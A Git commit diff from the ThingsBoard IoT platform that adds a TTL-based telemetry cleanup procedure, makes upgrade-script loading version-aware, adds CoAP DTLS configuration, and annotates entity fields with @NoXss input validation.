Commit a207e31841c3aae2d4ae8450134a035be0d88513

Authored by Igor Kulikov
2 parents ba7543d3 4a63660e

Merge with master

Showing 76 changed files with 2170 additions and 396 deletions
  1 +--
  2 +-- Copyright © 2016-2021 The Thingsboard Authors
  3 +--
  4 +-- Licensed under the Apache License, Version 2.0 (the "License");
  5 +-- you may not use this file except in compliance with the License.
  6 +-- You may obtain a copy of the License at
  7 +--
  8 +-- http://www.apache.org/licenses/LICENSE-2.0
  9 +--
  10 +-- Unless required by applicable law or agreed to in writing, software
  11 +-- distributed under the License is distributed on an "AS IS" BASIS,
  12 +-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  13 +-- See the License for the specific language governing permissions and
  14 +-- limitations under the License.
  15 +--
  16 +
  17 +CREATE OR REPLACE PROCEDURE cleanup_timeseries_by_ttl(IN null_uuid uuid,
  18 + IN system_ttl bigint, INOUT deleted bigint)
  19 + LANGUAGE plpgsql AS
  20 +$$
  21 +DECLARE
  22 +tenant_cursor CURSOR FOR select tenant.id as tenant_id
  23 + from tenant;
  24 + tenant_id_record uuid;
  25 + customer_id_record uuid;
  26 + tenant_ttl bigint;
  27 + customer_ttl bigint;
  28 + deleted_for_entities bigint;
  29 + tenant_ttl_ts bigint;
  30 + customer_ttl_ts bigint;
  31 +BEGIN
  32 +OPEN tenant_cursor;
  33 +FETCH tenant_cursor INTO tenant_id_record;
  34 +WHILE FOUND
  35 + LOOP
  36 + EXECUTE format(
  37 + 'select attribute_kv.long_v from attribute_kv where attribute_kv.entity_id = %L and attribute_kv.attribute_key = %L',
  38 + tenant_id_record, 'TTL') INTO tenant_ttl;
  39 + if tenant_ttl IS NULL THEN
  40 + tenant_ttl := system_ttl;
  41 +END IF;
  42 + IF tenant_ttl > 0 THEN
  43 + tenant_ttl_ts := (EXTRACT(EPOCH FROM current_timestamp) * 1000 - tenant_ttl::bigint * 1000)::bigint;
  44 + deleted_for_entities := delete_device_records_from_ts_kv(tenant_id_record, null_uuid, tenant_ttl_ts);
  45 + deleted := deleted + deleted_for_entities;
  46 + RAISE NOTICE '% telemetry removed for devices where tenant_id = %', deleted_for_entities, tenant_id_record;
  47 + deleted_for_entities := delete_asset_records_from_ts_kv(tenant_id_record, null_uuid, tenant_ttl_ts);
  48 + deleted := deleted + deleted_for_entities;
  49 + RAISE NOTICE '% telemetry removed for assets where tenant_id = %', deleted_for_entities, tenant_id_record;
  50 +END IF;
  51 +FOR customer_id_record IN
  52 +SELECT customer.id AS customer_id FROM customer WHERE customer.tenant_id = tenant_id_record
  53 + LOOP
  54 + EXECUTE format(
  55 + 'select attribute_kv.long_v from attribute_kv where attribute_kv.entity_id = %L and attribute_kv.attribute_key = %L',
  56 + customer_id_record, 'TTL') INTO customer_ttl;
  57 +IF customer_ttl IS NULL THEN
  58 + customer_ttl_ts := tenant_ttl_ts;
  59 +ELSE
  60 + IF customer_ttl > 0 THEN
  61 + customer_ttl_ts :=
  62 + (EXTRACT(EPOCH FROM current_timestamp) * 1000 -
  63 + customer_ttl::bigint * 1000)::bigint;
  64 +END IF;
  65 +END IF;
  66 + IF customer_ttl_ts IS NOT NULL AND customer_ttl_ts > 0 THEN
  67 + deleted_for_entities :=
  68 + delete_customer_records_from_ts_kv(tenant_id_record, customer_id_record,
  69 + customer_ttl_ts);
  70 + deleted := deleted + deleted_for_entities;
  71 + RAISE NOTICE '% telemetry removed for customer with id = % where tenant_id = %', deleted_for_entities, customer_id_record, tenant_id_record;
  72 + deleted_for_entities :=
  73 + delete_device_records_from_ts_kv(tenant_id_record, customer_id_record,
  74 + customer_ttl_ts);
  75 + deleted := deleted + deleted_for_entities;
  76 + RAISE NOTICE '% telemetry removed for devices where tenant_id = % and customer_id = %', deleted_for_entities, tenant_id_record, customer_id_record;
  77 + deleted_for_entities := delete_asset_records_from_ts_kv(tenant_id_record,
  78 + customer_id_record,
  79 + customer_ttl_ts);
  80 + deleted := deleted + deleted_for_entities;
  81 + RAISE NOTICE '% telemetry removed for assets where tenant_id = % and customer_id = %', deleted_for_entities, tenant_id_record, customer_id_record;
  82 +END IF;
  83 +END LOOP;
  84 +FETCH tenant_cursor INTO tenant_id_record;
  85 +END LOOP;
  86 +END
  87 +$$;
@@ -19,11 +19,15 @@ import lombok.extern.slf4j.Slf4j; @@ -19,11 +19,15 @@ import lombok.extern.slf4j.Slf4j;
19 import org.springframework.beans.factory.annotation.Autowired; 19 import org.springframework.beans.factory.annotation.Autowired;
20 import org.springframework.http.HttpStatus; 20 import org.springframework.http.HttpStatus;
21 import org.springframework.security.access.prepost.PreAuthorize; 21 import org.springframework.security.access.prepost.PreAuthorize;
22 -import org.springframework.web.bind.annotation.*; 22 +import org.springframework.web.bind.annotation.RequestBody;
  23 +import org.springframework.web.bind.annotation.RequestMapping;
  24 +import org.springframework.web.bind.annotation.RequestMethod;
  25 +import org.springframework.web.bind.annotation.ResponseBody;
  26 +import org.springframework.web.bind.annotation.ResponseStatus;
  27 +import org.springframework.web.bind.annotation.RestController;
23 import org.thingsboard.server.common.data.exception.ThingsboardException; 28 import org.thingsboard.server.common.data.exception.ThingsboardException;
24 import org.thingsboard.server.common.data.oauth2.OAuth2ClientInfo; 29 import org.thingsboard.server.common.data.oauth2.OAuth2ClientInfo;
25 import org.thingsboard.server.common.data.oauth2.OAuth2ClientsParams; 30 import org.thingsboard.server.common.data.oauth2.OAuth2ClientsParams;
26 -import org.thingsboard.server.common.data.oauth2.SchemeType;  
27 import org.thingsboard.server.dao.oauth2.OAuth2Configuration; 31 import org.thingsboard.server.dao.oauth2.OAuth2Configuration;
28 import org.thingsboard.server.queue.util.TbCoreComponent; 32 import org.thingsboard.server.queue.util.TbCoreComponent;
29 import org.thingsboard.server.service.security.permission.Operation; 33 import org.thingsboard.server.service.security.permission.Operation;
@@ -31,6 +35,7 @@ import org.thingsboard.server.service.security.permission.Resource; @@ -31,6 +35,7 @@ import org.thingsboard.server.service.security.permission.Resource;
31 import org.thingsboard.server.utils.MiscUtils; 35 import org.thingsboard.server.utils.MiscUtils;
32 36
33 import javax.servlet.http.HttpServletRequest; 37 import javax.servlet.http.HttpServletRequest;
  38 +import java.util.Enumeration;
34 import java.util.List; 39 import java.util.List;
35 40
36 @RestController 41 @RestController
@@ -46,6 +51,14 @@ public class OAuth2Controller extends BaseController { @@ -46,6 +51,14 @@ public class OAuth2Controller extends BaseController {
46 @ResponseBody 51 @ResponseBody
47 public List<OAuth2ClientInfo> getOAuth2Clients(HttpServletRequest request) throws ThingsboardException { 52 public List<OAuth2ClientInfo> getOAuth2Clients(HttpServletRequest request) throws ThingsboardException {
48 try { 53 try {
  54 + if (log.isDebugEnabled()) {
  55 + log.debug("Executing getOAuth2Clients: [{}][{}][{}]", request.getScheme(), request.getServerName(), request.getServerPort());
  56 + Enumeration<String> headerNames = request.getHeaderNames();
  57 + while (headerNames.hasMoreElements()) {
  58 + String header = headerNames.nextElement();
  59 + log.debug("Header: {} {}", header, request.getHeader(header));
  60 + }
  61 + }
49 return oAuth2Service.getOAuth2Clients(MiscUtils.getScheme(request), MiscUtils.getDomainNameAndPort(request)); 62 return oAuth2Service.getOAuth2Clients(MiscUtils.getScheme(request), MiscUtils.getDomainNameAndPort(request));
50 } catch (Exception e) { 63 } catch (Exception e) {
51 throw handleException(e); 64 throw handleException(e);
@@ -50,7 +50,7 @@ public abstract class AbstractSqlTsDatabaseUpgradeService { @@ -50,7 +50,7 @@ public abstract class AbstractSqlTsDatabaseUpgradeService {
50 @Autowired 50 @Autowired
51 protected InstallScripts installScripts; 51 protected InstallScripts installScripts;
52 52
53 - protected abstract void loadSql(Connection conn, String fileName); 53 + protected abstract void loadSql(Connection conn, String fileName, String version);
54 54
55 protected void loadFunctions(Path sqlFile, Connection conn) throws Exception { 55 protected void loadFunctions(Path sqlFile, Connection conn) throws Exception {
56 String sql = new String(Files.readAllBytes(sqlFile), StandardCharsets.UTF_8); 56 String sql = new String(Files.readAllBytes(sqlFile), StandardCharsets.UTF_8);
@@ -94,7 +94,7 @@ public class PsqlTsDatabaseUpgradeService extends AbstractSqlTsDatabaseUpgradeSe @@ -94,7 +94,7 @@ public class PsqlTsDatabaseUpgradeService extends AbstractSqlTsDatabaseUpgradeSe
94 log.info("PostgreSQL version is valid!"); 94 log.info("PostgreSQL version is valid!");
95 if (isOldSchema(conn, 2004003)) { 95 if (isOldSchema(conn, 2004003)) {
96 log.info("Load upgrade functions ..."); 96 log.info("Load upgrade functions ...");
97 - loadSql(conn, LOAD_FUNCTIONS_SQL); 97 + loadSql(conn, LOAD_FUNCTIONS_SQL, "2.4.3");
98 log.info("Updating timeseries schema ..."); 98 log.info("Updating timeseries schema ...");
99 executeQuery(conn, CALL_CREATE_PARTITION_TS_KV_TABLE); 99 executeQuery(conn, CALL_CREATE_PARTITION_TS_KV_TABLE);
100 if (!partitionType.equals("INDEFINITE")) { 100 if (!partitionType.equals("INDEFINITE")) {
@@ -179,9 +179,9 @@ public class PsqlTsDatabaseUpgradeService extends AbstractSqlTsDatabaseUpgradeSe @@ -179,9 +179,9 @@ public class PsqlTsDatabaseUpgradeService extends AbstractSqlTsDatabaseUpgradeSe
179 } 179 }
180 180
181 log.info("Load TTL functions ..."); 181 log.info("Load TTL functions ...");
182 - loadSql(conn, LOAD_TTL_FUNCTIONS_SQL); 182 + loadSql(conn, LOAD_TTL_FUNCTIONS_SQL, "2.4.3");
183 log.info("Load Drop Partitions functions ..."); 183 log.info("Load Drop Partitions functions ...");
184 - loadSql(conn, LOAD_DROP_PARTITIONS_FUNCTIONS_SQL); 184 + loadSql(conn, LOAD_DROP_PARTITIONS_FUNCTIONS_SQL, "2.4.3");
185 185
186 executeQuery(conn, "UPDATE tb_schema_settings SET schema_version = 2005000"); 186 executeQuery(conn, "UPDATE tb_schema_settings SET schema_version = 2005000");
187 187
@@ -199,9 +199,9 @@ public class PsqlTsDatabaseUpgradeService extends AbstractSqlTsDatabaseUpgradeSe @@ -199,9 +199,9 @@ public class PsqlTsDatabaseUpgradeService extends AbstractSqlTsDatabaseUpgradeSe
199 case "3.2.1": 199 case "3.2.1":
200 try (Connection conn = DriverManager.getConnection(dbUrl, dbUserName, dbPassword)) { 200 try (Connection conn = DriverManager.getConnection(dbUrl, dbUserName, dbPassword)) {
201 log.info("Load TTL functions ..."); 201 log.info("Load TTL functions ...");
202 - loadSql(conn, LOAD_TTL_FUNCTIONS_SQL); 202 + loadSql(conn, LOAD_TTL_FUNCTIONS_SQL, "2.4.3");
203 log.info("Load Drop Partitions functions ..."); 203 log.info("Load Drop Partitions functions ...");
204 - loadSql(conn, LOAD_DROP_PARTITIONS_FUNCTIONS_SQL); 204 + loadSql(conn, LOAD_DROP_PARTITIONS_FUNCTIONS_SQL, "2.4.3");
205 205
206 executeQuery(conn, "DROP PROCEDURE IF EXISTS cleanup_timeseries_by_ttl(character varying, bigint, bigint);"); 206 executeQuery(conn, "DROP PROCEDURE IF EXISTS cleanup_timeseries_by_ttl(character varying, bigint, bigint);");
207 executeQuery(conn, "DROP FUNCTION IF EXISTS delete_asset_records_from_ts_kv(character varying, character varying, bigint);"); 207 executeQuery(conn, "DROP FUNCTION IF EXISTS delete_asset_records_from_ts_kv(character varying, character varying, bigint);");
@@ -244,8 +244,8 @@ public class PsqlTsDatabaseUpgradeService extends AbstractSqlTsDatabaseUpgradeSe @@ -244,8 +244,8 @@ public class PsqlTsDatabaseUpgradeService extends AbstractSqlTsDatabaseUpgradeSe
244 } 244 }
245 245
246 @Override 246 @Override
247 - protected void loadSql(Connection conn, String fileName) {  
248 - Path schemaUpdateFile = Paths.get(installScripts.getDataDir(), "upgrade", "2.4.3", fileName); 247 + protected void loadSql(Connection conn, String fileName, String version) {
  248 + Path schemaUpdateFile = Paths.get(installScripts.getDataDir(), "upgrade", version, fileName);
249 try { 249 try {
250 loadFunctions(schemaUpdateFile, conn); 250 loadFunctions(schemaUpdateFile, conn);
251 log.info("Functions successfully loaded!"); 251 log.info("Functions successfully loaded!");
@@ -89,7 +89,7 @@ public class TimescaleTsDatabaseUpgradeService extends AbstractSqlTsDatabaseUpgr @@ -89,7 +89,7 @@ public class TimescaleTsDatabaseUpgradeService extends AbstractSqlTsDatabaseUpgr
89 log.info("PostgreSQL version is valid!"); 89 log.info("PostgreSQL version is valid!");
90 if (isOldSchema(conn, 2004003)) { 90 if (isOldSchema(conn, 2004003)) {
91 log.info("Load upgrade functions ..."); 91 log.info("Load upgrade functions ...");
92 - loadSql(conn, LOAD_FUNCTIONS_SQL); 92 + loadSql(conn, LOAD_FUNCTIONS_SQL, "2.4.3");
93 log.info("Updating timescale schema ..."); 93 log.info("Updating timescale schema ...");
94 executeQuery(conn, CALL_CREATE_TS_KV_LATEST_TABLE); 94 executeQuery(conn, CALL_CREATE_TS_KV_LATEST_TABLE);
95 executeQuery(conn, CALL_CREATE_NEW_TENANT_TS_KV_TABLE); 95 executeQuery(conn, CALL_CREATE_NEW_TENANT_TS_KV_TABLE);
@@ -165,7 +165,7 @@ public class TimescaleTsDatabaseUpgradeService extends AbstractSqlTsDatabaseUpgr @@ -165,7 +165,7 @@ public class TimescaleTsDatabaseUpgradeService extends AbstractSqlTsDatabaseUpgr
165 } 165 }
166 166
167 log.info("Load TTL functions ..."); 167 log.info("Load TTL functions ...");
168 - loadSql(conn, LOAD_TTL_FUNCTIONS_SQL); 168 + loadSql(conn, LOAD_TTL_FUNCTIONS_SQL, "2.4.3");
169 169
170 executeQuery(conn, "UPDATE tb_schema_settings SET schema_version = 2005000"); 170 executeQuery(conn, "UPDATE tb_schema_settings SET schema_version = 2005000");
171 log.info("schema timescale updated!"); 171 log.info("schema timescale updated!");
@@ -178,7 +178,11 @@ public class TimescaleTsDatabaseUpgradeService extends AbstractSqlTsDatabaseUpgr @@ -178,7 +178,11 @@ public class TimescaleTsDatabaseUpgradeService extends AbstractSqlTsDatabaseUpgr
178 } 178 }
179 break; 179 break;
180 case "3.1.1": 180 case "3.1.1":
  181 + break;
181 case "3.2.1": 182 case "3.2.1":
  183 + try (Connection conn = DriverManager.getConnection(dbUrl, dbUserName, dbPassword)) {
  184 + loadSql(conn, LOAD_TTL_FUNCTIONS_SQL, "3.2.1");
  185 + }
182 break; 186 break;
183 default: 187 default:
184 throw new RuntimeException("Unable to upgrade SQL database, unsupported fromVersion: " + fromVersion); 188 throw new RuntimeException("Unable to upgrade SQL database, unsupported fromVersion: " + fromVersion);
@@ -201,8 +205,8 @@ public class TimescaleTsDatabaseUpgradeService extends AbstractSqlTsDatabaseUpgr @@ -201,8 +205,8 @@ public class TimescaleTsDatabaseUpgradeService extends AbstractSqlTsDatabaseUpgr
201 } 205 }
202 206
203 @Override 207 @Override
204 - protected void loadSql(Connection conn, String fileName) {  
205 - Path schemaUpdateFile = Paths.get(installScripts.getDataDir(), "upgrade", "2.4.3", fileName); 208 + protected void loadSql(Connection conn, String fileName, String version) {
  209 + Path schemaUpdateFile = Paths.get(installScripts.getDataDir(), "upgrade", version, fileName);
206 try { 210 try {
207 loadFunctions(schemaUpdateFile, conn); 211 loadFunctions(schemaUpdateFile, conn);
208 log.info("Functions successfully loaded!"); 212 log.info("Functions successfully loaded!");
@@ -586,6 +586,24 @@ transport: @@ -586,6 +586,24 @@ transport:
586 bind_address: "${COAP_BIND_ADDRESS:0.0.0.0}" 586 bind_address: "${COAP_BIND_ADDRESS:0.0.0.0}"
587 bind_port: "${COAP_BIND_PORT:5683}" 587 bind_port: "${COAP_BIND_PORT:5683}"
588 timeout: "${COAP_TIMEOUT:10000}" 588 timeout: "${COAP_TIMEOUT:10000}"
  589 + dtls:
  590 + # Enable/disable DTLS 1.2 support
  591 + enabled: "${COAP_DTLS_ENABLED:false}"
  592 + # Secure mode. Allowed values: NO_AUTH, X509
  593 + mode: "${COAP_DTLS_SECURE_MODE:NO_AUTH}"
  594 + # Path to the key store that holds the certificate
  595 + key_store: "${COAP_DTLS_KEY_STORE:coapserver.jks}"
  596 + # Password used to access the key store
  597 + key_store_password: "${COAP_DTLS_KEY_STORE_PASSWORD:server_ks_password}"
  598 + # Password used to access the key
  599 + key_password: "${COAP_DTLS_KEY_PASSWORD:server_key_password}"
  600 + # Key alias
  601 + key_alias: "${COAP_DTLS_KEY_ALIAS:serveralias}"
  602 + # Skip certificate validity check for client certificates.
  603 + skip_validity_check_for_client_cert: "${COAP_DTLS_SKIP_VALIDITY_CHECK_FOR_CLIENT_CERT:false}"
  604 + x509:
  605 + dtls_session_inactivity_timeout: "${TB_COAP_X509_DTLS_SESSION_INACTIVITY_TIMEOUT:86400000}"
  606 + dtls_session_report_timeout: "${TB_COAP_X509_DTLS_SESSION_REPORT_TIMEOUT:1800000}"
589 # Local LwM2M transport parameters 607 # Local LwM2M transport parameters
590 lwm2m: 608 lwm2m:
591 # Enable/disable lvm2m transport protocol. 609 # Enable/disable lvm2m transport protocol.
@@ -37,6 +37,14 @@ @@ -37,6 +37,14 @@
37 37
38 <dependencies> 38 <dependencies>
39 <dependency> 39 <dependency>
  40 + <groupId>javax.validation</groupId>
  41 + <artifactId>validation-api</artifactId>
  42 + </dependency>
  43 + <dependency>
  44 + <groupId>org.owasp.antisamy</groupId>
  45 + <artifactId>antisamy</artifactId>
  46 + </dependency>
  47 + <dependency>
40 <groupId>org.slf4j</groupId> 48 <groupId>org.slf4j</groupId>
41 <artifactId>slf4j-api</artifactId> 49 <artifactId>slf4j-api</artifactId>
42 </dependency> 50 </dependency>
@@ -18,11 +18,13 @@ package org.thingsboard.server.common.data; @@ -18,11 +18,13 @@ package org.thingsboard.server.common.data;
18 import org.thingsboard.server.common.data.id.AdminSettingsId; 18 import org.thingsboard.server.common.data.id.AdminSettingsId;
19 19
20 import com.fasterxml.jackson.databind.JsonNode; 20 import com.fasterxml.jackson.databind.JsonNode;
  21 +import org.thingsboard.server.common.data.validation.NoXss;
21 22
22 public class AdminSettings extends BaseData<AdminSettingsId> { 23 public class AdminSettings extends BaseData<AdminSettingsId> {
23 24
24 private static final long serialVersionUID = -7670322981725511892L; 25 private static final long serialVersionUID = -7670322981725511892L;
25 - 26 +
  27 + @NoXss
26 private String key; 28 private String key;
27 private transient JsonNode jsonValue; 29 private transient JsonNode jsonValue;
28 30
@@ -17,19 +17,28 @@ package org.thingsboard.server.common.data; @@ -17,19 +17,28 @@ package org.thingsboard.server.common.data;
17 17
18 import lombok.EqualsAndHashCode; 18 import lombok.EqualsAndHashCode;
19 import org.thingsboard.server.common.data.id.UUIDBased; 19 import org.thingsboard.server.common.data.id.UUIDBased;
  20 +import org.thingsboard.server.common.data.validation.NoXss;
20 21
21 @EqualsAndHashCode(callSuper = true) 22 @EqualsAndHashCode(callSuper = true)
22 public abstract class ContactBased<I extends UUIDBased> extends SearchTextBasedWithAdditionalInfo<I> implements HasName { 23 public abstract class ContactBased<I extends UUIDBased> extends SearchTextBasedWithAdditionalInfo<I> implements HasName {
23 24
24 private static final long serialVersionUID = 5047448057830660988L; 25 private static final long serialVersionUID = 5047448057830660988L;
25 - 26 +
  27 + @NoXss
26 protected String country; 28 protected String country;
  29 + @NoXss
27 protected String state; 30 protected String state;
  31 + @NoXss
28 protected String city; 32 protected String city;
  33 + @NoXss
29 protected String address; 34 protected String address;
  35 + @NoXss
30 protected String address2; 36 protected String address2;
  37 + @NoXss
31 protected String zip; 38 protected String zip;
  39 + @NoXss
32 protected String phone; 40 protected String phone;
  41 + @NoXss
33 protected String email; 42 protected String email;
34 43
35 public ContactBased() { 44 public ContactBased() {
@@ -20,13 +20,13 @@ import com.fasterxml.jackson.annotation.JsonProperty; @@ -20,13 +20,13 @@ import com.fasterxml.jackson.annotation.JsonProperty;
20 import com.fasterxml.jackson.annotation.JsonProperty.Access; 20 import com.fasterxml.jackson.annotation.JsonProperty.Access;
21 import org.thingsboard.server.common.data.id.CustomerId; 21 import org.thingsboard.server.common.data.id.CustomerId;
22 import org.thingsboard.server.common.data.id.TenantId; 22 import org.thingsboard.server.common.data.id.TenantId;
23 -  
24 -import com.fasterxml.jackson.databind.JsonNode; 23 +import org.thingsboard.server.common.data.validation.NoXss;
25 24
26 public class Customer extends ContactBased<CustomerId> implements HasTenantId { 25 public class Customer extends ContactBased<CustomerId> implements HasTenantId {
27 26
28 private static final long serialVersionUID = -1599722990298929275L; 27 private static final long serialVersionUID = -1599722990298929275L;
29 - 28 +
  29 + @NoXss
30 private String title; 30 private String title;
31 private TenantId tenantId; 31 private TenantId tenantId;
32 32
@@ -24,6 +24,7 @@ import org.thingsboard.server.common.data.id.CustomerId; @@ -24,6 +24,7 @@ import org.thingsboard.server.common.data.id.CustomerId;
24 import org.thingsboard.server.common.data.id.DeviceId; 24 import org.thingsboard.server.common.data.id.DeviceId;
25 import org.thingsboard.server.common.data.id.DeviceProfileId; 25 import org.thingsboard.server.common.data.id.DeviceProfileId;
26 import org.thingsboard.server.common.data.id.TenantId; 26 import org.thingsboard.server.common.data.id.TenantId;
  27 +import org.thingsboard.server.common.data.validation.NoXss;
27 28
28 import java.io.ByteArrayInputStream; 29 import java.io.ByteArrayInputStream;
29 import java.io.IOException; 30 import java.io.IOException;
@@ -36,8 +37,11 @@ public class Device extends SearchTextBasedWithAdditionalInfo<DeviceId> implemen @@ -36,8 +37,11 @@ public class Device extends SearchTextBasedWithAdditionalInfo<DeviceId> implemen
36 37
37 private TenantId tenantId; 38 private TenantId tenantId;
38 private CustomerId customerId; 39 private CustomerId customerId;
  40 + @NoXss
39 private String name; 41 private String name;
  42 + @NoXss
40 private String type; 43 private String type;
  44 + @NoXss
41 private String label; 45 private String label;
42 private DeviceProfileId deviceProfileId; 46 private DeviceProfileId deviceProfileId;
43 private transient DeviceData deviceData; 47 private transient DeviceData deviceData;
@@ -24,7 +24,9 @@ import org.thingsboard.server.common.data.device.profile.DeviceProfileData; @@ -24,7 +24,9 @@ import org.thingsboard.server.common.data.device.profile.DeviceProfileData;
24 import org.thingsboard.server.common.data.id.DeviceProfileId; 24 import org.thingsboard.server.common.data.id.DeviceProfileId;
25 import org.thingsboard.server.common.data.id.RuleChainId; 25 import org.thingsboard.server.common.data.id.RuleChainId;
26 import org.thingsboard.server.common.data.id.TenantId; 26 import org.thingsboard.server.common.data.id.TenantId;
  27 +import org.thingsboard.server.common.data.validation.NoXss;
27 28
  29 +import javax.validation.Valid;
28 import java.io.ByteArrayInputStream; 30 import java.io.ByteArrayInputStream;
29 import java.io.IOException; 31 import java.io.IOException;
30 32
@@ -36,17 +38,22 @@ import static org.thingsboard.server.common.data.SearchTextBasedWithAdditionalIn @@ -36,17 +38,22 @@ import static org.thingsboard.server.common.data.SearchTextBasedWithAdditionalIn
36 public class DeviceProfile extends SearchTextBased<DeviceProfileId> implements HasName, HasTenantId { 38 public class DeviceProfile extends SearchTextBased<DeviceProfileId> implements HasName, HasTenantId {
37 39
38 private TenantId tenantId; 40 private TenantId tenantId;
  41 + @NoXss
39 private String name; 42 private String name;
  43 + @NoXss
40 private String description; 44 private String description;
41 private boolean isDefault; 45 private boolean isDefault;
42 private DeviceProfileType type; 46 private DeviceProfileType type;
43 private DeviceTransportType transportType; 47 private DeviceTransportType transportType;
44 private DeviceProfileProvisionType provisionType; 48 private DeviceProfileProvisionType provisionType;
45 private RuleChainId defaultRuleChainId; 49 private RuleChainId defaultRuleChainId;
  50 + @NoXss
46 private String defaultQueueName; 51 private String defaultQueueName;
  52 + @Valid
47 private transient DeviceProfileData profileData; 53 private transient DeviceProfileData profileData;
48 @JsonIgnore 54 @JsonIgnore
49 private byte[] profileDataBytes; 55 private byte[] profileDataBytes;
  56 + @NoXss
50 private String provisionDeviceKey; 57 private String provisionDeviceKey;
51 58
52 public DeviceProfile() { 59 public DeviceProfile() {
@@ -23,6 +23,7 @@ import org.thingsboard.server.common.data.id.EntityId; @@ -23,6 +23,7 @@ import org.thingsboard.server.common.data.id.EntityId;
23 import org.thingsboard.server.common.data.id.EntityViewId; 23 import org.thingsboard.server.common.data.id.EntityViewId;
24 import org.thingsboard.server.common.data.id.TenantId; 24 import org.thingsboard.server.common.data.id.TenantId;
25 import org.thingsboard.server.common.data.objects.TelemetryEntityView; 25 import org.thingsboard.server.common.data.objects.TelemetryEntityView;
  26 +import org.thingsboard.server.common.data.validation.NoXss;
26 27
27 /** 28 /**
28 * Created by Victor Basanets on 8/27/2017. 29 * Created by Victor Basanets on 8/27/2017.
@@ -39,7 +40,9 @@ public class EntityView extends SearchTextBasedWithAdditionalInfo<EntityViewId> @@ -39,7 +40,9 @@ public class EntityView extends SearchTextBasedWithAdditionalInfo<EntityViewId>
39 private EntityId entityId; 40 private EntityId entityId;
40 private TenantId tenantId; 41 private TenantId tenantId;
41 private CustomerId customerId; 42 private CustomerId customerId;
  43 + @NoXss
42 private String name; 44 private String name;
  45 + @NoXss
43 private String type; 46 private String type;
44 private TelemetryEntityView keys; 47 private TelemetryEntityView keys;
45 private long startTimeMs; 48 private long startTimeMs;
@@ -20,13 +20,16 @@ import com.fasterxml.jackson.annotation.JsonProperty; @@ -20,13 +20,16 @@ import com.fasterxml.jackson.annotation.JsonProperty;
20 import lombok.EqualsAndHashCode; 20 import lombok.EqualsAndHashCode;
21 import org.thingsboard.server.common.data.id.TenantId; 21 import org.thingsboard.server.common.data.id.TenantId;
22 import org.thingsboard.server.common.data.id.TenantProfileId; 22 import org.thingsboard.server.common.data.id.TenantProfileId;
  23 +import org.thingsboard.server.common.data.validation.NoXss;
23 24
24 @EqualsAndHashCode(callSuper = true) 25 @EqualsAndHashCode(callSuper = true)
25 public class Tenant extends ContactBased<TenantId> implements HasTenantId { 26 public class Tenant extends ContactBased<TenantId> implements HasTenantId {
26 27
27 private static final long serialVersionUID = 8057243243859922101L; 28 private static final long serialVersionUID = 8057243243859922101L;
28 - 29 +
  30 + @NoXss
29 private String title; 31 private String title;
  32 + @NoXss
30 private String region; 33 private String region;
31 private TenantProfileId tenantProfileId; 34 private TenantProfileId tenantProfileId;
32 35
@@ -23,6 +23,7 @@ import lombok.extern.slf4j.Slf4j; @@ -23,6 +23,7 @@ import lombok.extern.slf4j.Slf4j;
23 import org.thingsboard.server.common.data.id.TenantProfileId; 23 import org.thingsboard.server.common.data.id.TenantProfileId;
24 import org.thingsboard.server.common.data.tenant.profile.DefaultTenantProfileConfiguration; 24 import org.thingsboard.server.common.data.tenant.profile.DefaultTenantProfileConfiguration;
25 import org.thingsboard.server.common.data.tenant.profile.TenantProfileData; 25 import org.thingsboard.server.common.data.tenant.profile.TenantProfileData;
  26 +import org.thingsboard.server.common.data.validation.NoXss;
26 27
27 import java.io.ByteArrayInputStream; 28 import java.io.ByteArrayInputStream;
28 import java.io.IOException; 29 import java.io.IOException;
@@ -34,7 +35,9 @@ import static org.thingsboard.server.common.data.SearchTextBasedWithAdditionalIn @@ -34,7 +35,9 @@ import static org.thingsboard.server.common.data.SearchTextBasedWithAdditionalIn
34 @Slf4j 35 @Slf4j
35 public class TenantProfile extends SearchTextBased<TenantProfileId> implements HasName { 36 public class TenantProfile extends SearchTextBased<TenantProfileId> implements HasName {
36 37
  38 + @NoXss
37 private String name; 39 private String name;
  40 + @NoXss
38 private String description; 41 private String description;
39 private boolean isDefault; 42 private boolean isDefault;
40 private boolean isolatedTbCore; 43 private boolean isolatedTbCore;
@@ -24,7 +24,7 @@ import org.thingsboard.server.common.data.id.TenantId; @@ -24,7 +24,7 @@ import org.thingsboard.server.common.data.id.TenantId;
24 import org.thingsboard.server.common.data.id.UserId; 24 import org.thingsboard.server.common.data.id.UserId;
25 import org.thingsboard.server.common.data.security.Authority; 25 import org.thingsboard.server.common.data.security.Authority;
26 26
27 -import com.fasterxml.jackson.databind.JsonNode; 27 +import org.thingsboard.server.common.data.validation.NoXss;
28 28
29 @EqualsAndHashCode(callSuper = true) 29 @EqualsAndHashCode(callSuper = true)
30 public class User extends SearchTextBasedWithAdditionalInfo<UserId> implements HasName, HasTenantId, HasCustomerId { 30 public class User extends SearchTextBasedWithAdditionalInfo<UserId> implements HasName, HasTenantId, HasCustomerId {
@@ -35,7 +35,9 @@ public class User extends SearchTextBasedWithAdditionalInfo<UserId> implements H @@ -35,7 +35,9 @@ public class User extends SearchTextBasedWithAdditionalInfo<UserId> implements H
35 private CustomerId customerId; 35 private CustomerId customerId;
36 private String email; 36 private String email;
37 private Authority authority; 37 private Authority authority;
  38 + @NoXss
38 private String firstName; 39 private String firstName;
  40 + @NoXss
39 private String lastName; 41 private String lastName;
40 42
41 public User() { 43 public User() {
@@ -15,12 +15,15 @@ @@ -15,12 +15,15 @@
15 */ 15 */
16 package org.thingsboard.server.common.data.asset; 16 package org.thingsboard.server.common.data.asset;
17 17
18 -import com.fasterxml.jackson.databind.JsonNode;  
19 import lombok.EqualsAndHashCode; 18 import lombok.EqualsAndHashCode;
20 -import org.thingsboard.server.common.data.*; 19 +import org.thingsboard.server.common.data.HasCustomerId;
  20 +import org.thingsboard.server.common.data.HasName;
  21 +import org.thingsboard.server.common.data.HasTenantId;
  22 +import org.thingsboard.server.common.data.SearchTextBasedWithAdditionalInfo;
21 import org.thingsboard.server.common.data.id.AssetId; 23 import org.thingsboard.server.common.data.id.AssetId;
22 import org.thingsboard.server.common.data.id.CustomerId; 24 import org.thingsboard.server.common.data.id.CustomerId;
23 import org.thingsboard.server.common.data.id.TenantId; 25 import org.thingsboard.server.common.data.id.TenantId;
  26 +import org.thingsboard.server.common.data.validation.NoXss;
24 27
25 @EqualsAndHashCode(callSuper = true) 28 @EqualsAndHashCode(callSuper = true)
26 public class Asset extends SearchTextBasedWithAdditionalInfo<AssetId> implements HasName, HasTenantId, HasCustomerId { 29 public class Asset extends SearchTextBasedWithAdditionalInfo<AssetId> implements HasName, HasTenantId, HasCustomerId {
